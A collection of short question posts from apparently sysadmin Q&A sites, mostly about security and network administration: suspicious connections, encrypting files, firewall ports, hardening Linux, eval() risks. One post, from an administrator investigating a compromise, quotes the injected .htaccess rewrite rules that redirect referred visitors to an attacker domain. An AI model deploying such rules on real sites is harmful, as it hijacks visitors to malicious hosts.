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  • what are these weird IP address connections in resource monitor?

    - by bill
    I decided to check out Resource Monitor (on the 'Performance' tab in Task Manager, Windows 7) and I noticed in the "Network" section that the 'System' image name kept making a bunch (~5 at a time) of connections to random IP addresses, it would show anywhere from 1-500 bytes/sec 'sent'. They would stay connected for 1-2 minutes. -All web browsers are closed So, first thing I did was run a trace from network-tools.com on some of these IP addresses. 8/10 were outside of US and did not resolve to any host name. Of the 10 IP addresses I traced, 2 were in US, 4 showed origins in China, and one each to Algeria, Russia, Pakistan, Korea. (!) So, the next thing I did was turn off my wireless card, watch the connections disappear, then turn the card back on, and within 30 seconds more random connections were created by System, with different IP addresses from the first time. The next thing I did was go open Task Manager, Show Processes From All Users, then I killed just about everything that wasn't (what appeared to be) a windows process. Turned on wi-fi, and again within 30 seconds, random IP addresses connect for ~ 1 min at a time, new ones coming and going. I occasionally use bit torrent on this machine, but there was definitely no process that seemed related to bt running after I went through task manager, and bt wasn't open to begin with. So, any ideas on what these connections might be for? I have been using Ad-Aware Free and AVG Free on this computer for a while now, always up to date..

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  • Finding Webserver Vulnerability

    - by Brent
    We operate a webserver farm hosting around 300 websites. Yesterday morning a script placed .htaccess files owned by www-data (the apache user) in every directory under the document_root of most (but not all) sites. The content of the .htaccess file was this: RewriteEngine On RewriteCond %{HTTP_REFERER} ^http:// RewriteCond %{HTTP_REFERER} !%{HTTP_HOST} RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR} Googling for that url (which is the md5 hash of "antivirus") I discovered that this same thing happened all over the internet, and am looking for somebody who has already dealt with this, and determined where the vulnerability is. I have searched most of our logs, but haven't found anything conclusive yet. Are there others who experienced the same thing that have gotten further than I have in pinpointing the hole? So far we have determined: the changes were made as www-data, so apache or it's plugins are likely the culprit all the changes were made within 15 minutes of each other, so it was probably automated since our websites have widely varying domain names, I think a single vulnerability on one site was responsible (rather than a common vulnerability on every site) if an .htaccess file already existed and was writeable by www-data, then the script was kind, and simply appended the above lines to the end of the file (making it easy to reverse) Any more hints would be appreciated.

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  • Automated VLAN creation with residential Wireless devices

    - by Zephyr Pellerin
    We've got a few WRT devices from Linksys here, and the issue has arisen to deploy them in a relatively small environment, However, in the interest of manageability we'd like to be able to automatically VLAN (ideally NOT subnet) every user from one another. It seems obvious to me that the default firmware isn't capable of this - can OpenWRT/Tomato/DD-WRT support any sort of functionality such that new users are automatically VLANed or otherwise logically separated from other users? It seems like there's an easy IPtables or PF solution here, but I've been wrong before. (If that seemed a little ambiguous, heres an example) User 1 sends DHCP request to server, new VLAN (We'll call VLAN 1) is created, user is placed in that VLAN. Then, user 2 sends a DHCP request and is placed in VLAN 2 etc. etc.

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  • Program keeping encrypted files.

    - by Giorgi
    I am looking for a program which will encrypt files specified by me and allow me to view/edit/delete those files without creating a virtual disk. I do not want to have virtual disk as a domain administrator can access it so truecrypt is not the possibility. One possibility is to use winrar with password protected archive but winrar serves a different goal so it is not very user friendly for this purpose. If it's possible it would be nice if the program does not creates temp files while I open the files. Any suggestions?

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  • Two way SSH authentication

    - by Saif Bechan
    I have installed ASL and it recommends me that I implement a two way SSH authentication. I have some questions about it. I understand the general idea that you need to login with both a key and a password. I am working from a laptop, what will happen if my laptop get's stolen. Will I never be able to login again??

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  • Securing debain with fail2ban or iptables

    - by Jimmy
    I'm looking to secure my server. Initially my first thought was to use iptables but then I also learnt about Fail2ban. I understand that Fail2ban is based on iptables, but it has the advantages of being able to ban IP's after a number of attempts. Let's say I want to block FTP completely: Should I write a separate IPtable rule to block FTP, and use Fail2ban just for SSH Or instead simply put all rules, even the FTP blocking rule within the Fail2Ban config Any help on this would be appreciated. James

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  • How to put fear of God (law) into Wi-Fi hacking neighbors [closed]

    - by Shakehar
    I live in an apartment and some new guys have apparently moved into one of the apartments. They have been shamelessly hacking into my WiFi. Mine was initially a WEP encrypted network and out of laziness I just limited and reserved the IPS on my router for the people in my house. Yesterday I had to free up an IP for a guest in my house but before he could join the network these guys connected in. I have changed my encryption to WPA2 and hope they dont have the hardware/patience required to hack into it, but there are many wi-fi networks in my apartment most of which are secured using WEP. I don't really want to call the police on them. Is there any way to deter them from misusing other people's wi-fi ? I have gone through I think someone else has access to my wireless network. What next? but I have already taken the steps mentioned there.

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  • Updating Applications in a Corporate Environment

    - by user145133
    I am very new to this subject and was hoping someone could shed some light on it. I am working on creating a corporate network that will obviously have multiple servers and multiple workstations. Let's say a new version of Adobe Flash comes out. I would think that you would want to test this update in a test environment before "pushing it out" to the servers and workstations. How do you guys go about controlling, testing and then pushing the application updates out? (i am not talking about windows updates). Do you use a 3rd party sysadmin tool? Home grown software? Any info will greatly be appreciated :)

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  • Using Windows as a gateway to the internet

    - by James Wright
    My customer currently blocks outbound RDP and SSH, which means that none of their employees can get access to external Windows and Linux boxes (at the console level). However, a need has recently arisen to give access to an assortment of RDP and SSH endpoints scattered throughout the internet. The endpoint IP addresses are a moving target, and an access list exists to define what those IP addresses are. So now my customer wants to have a single Windows Server that they control as the sole outbound point for RDP/SSH to the internet. Consider it a jump box to the internet. If one of our admins have an access to this Windows box then they can log on, and from there bounce around to RDP/SSH endpoints on the internet. Is a standard Windows 2008 box going to work as a jump box? For example, I seem to recall that Win2k8 limits the number of users that can log on simultaneously, which means that the jump box may not be accessible if lots of users are on it. Advice as to how to make this work..?

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  • How do I recover my router password without resetting it?

    - by Pacerier
    I want to know the password of my router. The default username and pass isn't working. I've read this thread i forgot my wireless router password. what do i do . . however it tells me to reset the router (I do not wish to reset the router to factory settings) This is my router: Linksys Wireless-N Home Router WRT120N I'm thinking there's some way we could get the password (or bypass the need to) that we need to enter 192.168.1.1?

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  • Fully secured gateway web sites

    - by SeaShore
    Hello, Are there any web sites that serve as gateways for fully encrypted communication? I mean sites with which I can open a secured session, and then to exchange through them with other sites in a secure way both URLs and content? Thanks in advance. UPDATE Sorry for not being clear. I was wondering if there was a way to access any site over the Internet (http or https) without letting any Intranet-proxy read the requested URL or the received content. My question is whether such a site exists, e.g.: I am connected to that site via https, I send it a URL in a secured way, the site gets the content from the target site (possibly in a non-secured way) and returns to me the requested content in a secured way.

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  • Running Solr on VPS problem

    - by Camran
    I have a VPS with Ubuntu OS. I run solr om my local machine (windows xp laptop) just fine. I have configured Jetty, and Solr just the same way as on my computer, but on the server. I have also downloaded the JRE and installed it on the server. However, whenever I try to run the start.jar file, the PuTTY terminal shows a bunch of text but gets stuck. I could pase the text here but it is very long, so unless somebody wants to see it I wont. Also, I cant view the solr admin page at all. Does anybody have experience in this kind of problem? Maybe java isn't correctly installed? It is a VPS so maybe installation is different. Thanks UPDATE: These are the last lines from the terminal, in other words, this is where it stops every time: INFO: [] webapp=null path=null params={event=firstSearcher&q=static+firstSearcher+warming+query+from+solrconfig.xml} hits=0 status=0 QTime=9 May 28, 2010 8:58:42 PM org.apache.solr.core.QuerySenderListener newSearcher INFO: QuerySenderListener done. May 28, 2010 8:58:42 PM org.apache.solr.handler.component.SpellCheckComponent$SpellCheckerListener newSearcher INFO: Loading spell index for spellchecker: default May 28, 2010 8:58:42 PM org.apache.solr.core.SolrCore registerSearcher INFO: [] Registered new searcher Searcher@63a721 main Also you should know that I installed jetty by just dragging the folders from my HD to the VPS server.

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  • Outbound ports to allow through firewall - core requirements

    - by dunxd
    This question was asked before, but in a rather general way. I'm asking more specifically based on my current requirements. We have a number of remote offices made up of a bunch of PCs and an ASA 5505 which is used as firewall and VPN termination point. In the offices we share the internet connection with one or more other organisations over whom we have very little control, asides from the config on the ASAs. For a bunch of reasons I'd like to lock down these ASA 5505s to only allow outbound traffic to ports used by applications we know we need. I'm putting a standard config to roll out to all the ASAs, and if we need to open up ports for the other orgs we can do it on request. But I want to leave open the most commonly required ports so we can get up and running without waiting on other folks technical staff to get back. I plan to allow the following TCP ports to support email and web access, which I know everyone will need: POP3 (110 and 995) HTTP (80 and 443) IMAP4 (143 and 993) SMTP (25 and and 465) The question really is, what other ports do I need to leave open to allow for "normal" working? I've seen UDP port 53 for DNS as one. Are there any others that would be worth opening up? Just to note - I'll also be setting up monitoring systems to keep an eye on the ports we do allow. Any of the above could be misused of course. We'll also back all this up with signed agreements. But I'm aiming for a technical solutions where I don't have to start out with the full requirements of everyone we share connections with. See also: outbound ports that are always open

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  • Mysterious visitor to hidden PHP page

    - by B. VB.
    On my website, I have a "hidden" page that displays a list of the most recent visitors. There exist no links at all to this single PHP page, and, theoretically, only I know of its existence. I check it many times per day to see what new hits I have. However, about once a week, I get a hit from a 208.80.194.* address on this supposedly hidden page (it records hits to itself). The strange thing is this: this mysterious person/bot does not visit any other page on my site. Not the public PHP pages, but only this hidden page that prints the visitors. It's always a single hit, and the HTTP_REFERER is blank. The other data is always some variation of Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; FunWebProducts; .NET CLR 1.1.4322; SpamBlockerUtility 4.8.4; yplus 5.1.04b) ... but sometimes MSIE 6.0 instead of 7, and various other plug ins. The browser is different every time, as with the lowest-order bits of the address. And it's just that. One hit per week or so, to that one page. Absolutely no other pages are touched by this mysterious vistor. Doing a whois on that IP address showed it's from the new york area, and from the "Websense" ISP. The lowest order 8 bits of their address are always different, but always from 208.80.194.*/8. From most of the computers that I access my website, doing a tracerout to my server does not contain a router anywhere along the way with the IP 208.80.*. So that rules out any kind of HTTP sniffing, I might think. I have NO idea how, why this is happening. Does anyone have any clue, or have seen something as strange as this before? It seems completely benign, but unexplainable and a little creepy. Thanks in advance!

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  • What are the current options to encrypted a partition on mac os x ?

    - by symbion
    I recently got my laptop stolen with some sensitive informations on it (personal source code, bank details in a secure file, passwords, etc) and I learnt the lesson: encrypt your sensitive data. Now, I am wondering what are the options to encrypt a partition (not an encrypt disk image) ? Aim: The aim is to prevent anyone (except me) to access those data. Requirement 0: The software must be able to encrypt non system partition. Requirement 1: Plausible deniability is required but preventing cold boot attack is however not an absolute requirement (I am not famous enough or have sensitive enough info to have this kind of requirement). Requirement 2 : Software taking advantage of AES hardware encryption are very welcome as I intent to get a Macbook Pro with i7 CPU (with AES-NI enabled instructions). I will have avirtual machine running in the encrypted partition. Requirement 3 : Free or reasonably cheap. Requirement 4 : Software must run on Mac OS X Snow Leopard or Lion. So far, TrueCrypt is the only option I have found. Regards,

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  • An device with an unknown MAC address is connected to my router

    - by Yar
    There is a computer that is not mine that is accessible on my network. I can even access its filesystem via AFP. What I want to know is how the computer could get on my network. My network is secured like this: Does that mean that they've used password cracking tools? The pass is not easy to guess but not hard to figure out via brute-force hacking, I guess. If I am being hacked, should I switch to WPA?

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  • Program for keeping encrypted files.

    - by Giorgi
    I am looking for a program which will encrypt files specified by me and allow me to view/edit/delete those files without creating a virtual disk. I do not want to have virtual disk as a domain administrator can access it so truecrypt is not the possibility. One possibility is to use winrar with password protected archive but winrar serves a different goal so it is not very user friendly for this purpose. If it's possible it would be nice if the program does not creates temp files while I open the files. Any suggestions?

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  • no internet mail group / mail sending and delivery restrictions

    - by Jeff
    I run a win 2k8 a/d server and an win 2k8 exchange 07 server I have a group called 'No Internet Mail', i made it a distribution group. I tried to setup a transport rule on the exchange server that is configured as follows for outgoing: from a member of no internet mail and sent to users outside the organization redirect the message to administrator and send message refused, forwarded to administrator. Please talk to management for external email use. however , when i enable this it forwards everyones emails to me regardless if they are a member of the no internet mail group or not. not sure what im doing wrong, thanks in advanced.

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  • What else can I do to secure my Linux server?

    - by eric01
    I want to put a web application on my Linux server: I will first explain to you what the web app will do and then I will tell you what I did so far to secure my brand new Linux system. The app will be a classified ads website (like gumtree.co.uk) where users can sell their items, upload images, send to and receive emails from the admin. It will use SSL for some pages. I will need SSH. So far, what I did to secure my stock Ubuntu (latest version) is the following: NOTE: I probably did some things that will prevent the application from doing all its tasks, so please let me know of that. My machine's sole purpose will be hosting the website. (I put numbers as bullet points so you can refer to them more easily) 1) Firewall I installed Uncomplicated Firewall. Deny IN & OUT by default Rules: Allow IN & OUT: HTTP, IMAP, POP3, SMTP, SSH, UDP port 53 (DNS), UDP port 123 (SNTP), SSL, port 443 (the ones I didn't allow were FTP, NFS, Samba, VNC, CUPS) When I install MySQL & Apache, I will open up Port 3306 IN & OUT. 2) Secure the partition in /etc/fstab, I added the following line at the end: tmpfs /dev/shm tmpfs defaults,rw 0 0 Then in console: mount -o remount /dev/shm 3) Secure the kernel In the file /etc/sysctl.conf, there are a few different filters to uncomment. I didn't know which one was relevant to web app hosting. Which one should I activate? They are the following: A) Turn on Source Address Verification in all interfaces to prevent spoofing attacks B) Uncomment the next line to enable packet forwarding for IPv4 C) Uncomment the next line to enable packet forwarding for IPv6 D) Do no accept ICMP redirects (we are not a router) E) Accept ICMP redirects only for gateways listed in our default gateway list F) Do not send ICMP redirects G) Do not accept IP source route packets (we are not a router) H) Log Martian Packets 4) Configure the passwd file Replace "sh" by "false" for all accounts except user account and root. I also did it for the account called sshd. I am not sure whether it will prevent SSH connection (which I want to use) or if it's something else. 5) Configure the shadow file In the console: passwd -l to lock all accounts except user account. 6) Install rkhunter and chkrootkit 7) Install Bum Disabled those services: "High performance mail server", "unreadable (kerneloops)","unreadable (speech-dispatcher)","Restores DNS" (should this one stay on?) 8) Install Apparmor_profiles 9) Install clamav & freshclam (antivirus and update) What did I do wrong and what should I do more to secure this Linux machine? Thanks a lot in advance

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  • Dangers of the pyton eval() statement

    - by LukeP
    I am creating a game. Specifically it is a pokemon battle simulator. I have an sqlite database of moves in which a row looks something like: name | type | Power | Accuracy | PP | Description However, there are some special moves. For said special moves, their damage (and other attributes not shown above, like status effects) may be dependant on certian factors. Rather than create a huge if/else in one of my classes covering the formulas for every one of these moves. I'd rather include another column in the DB that contains a formula in string form, like 'self.health/2'(simplified example). I could then just plug that into eval. I always see people saying to stay away from eval, but from what I can tell, this would be considered an acceptable use, as the dangers of eval only come into play when accepting user input. Am I correct in this assumption, or is there somthing i'm not seeing.

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  • Avast not taking any action when opening a virus.

    - by ULTRA_POROV
    I just did a test with the EICAR test virus. I downloaded the file eicar.com Avast was on. If i scan the file it finds it. However if i open it no action is taken. Just nothing. nothing happens i can open it as many times as i want. This is very worrying. The new avast is starting to be a pain. I miss the old one.

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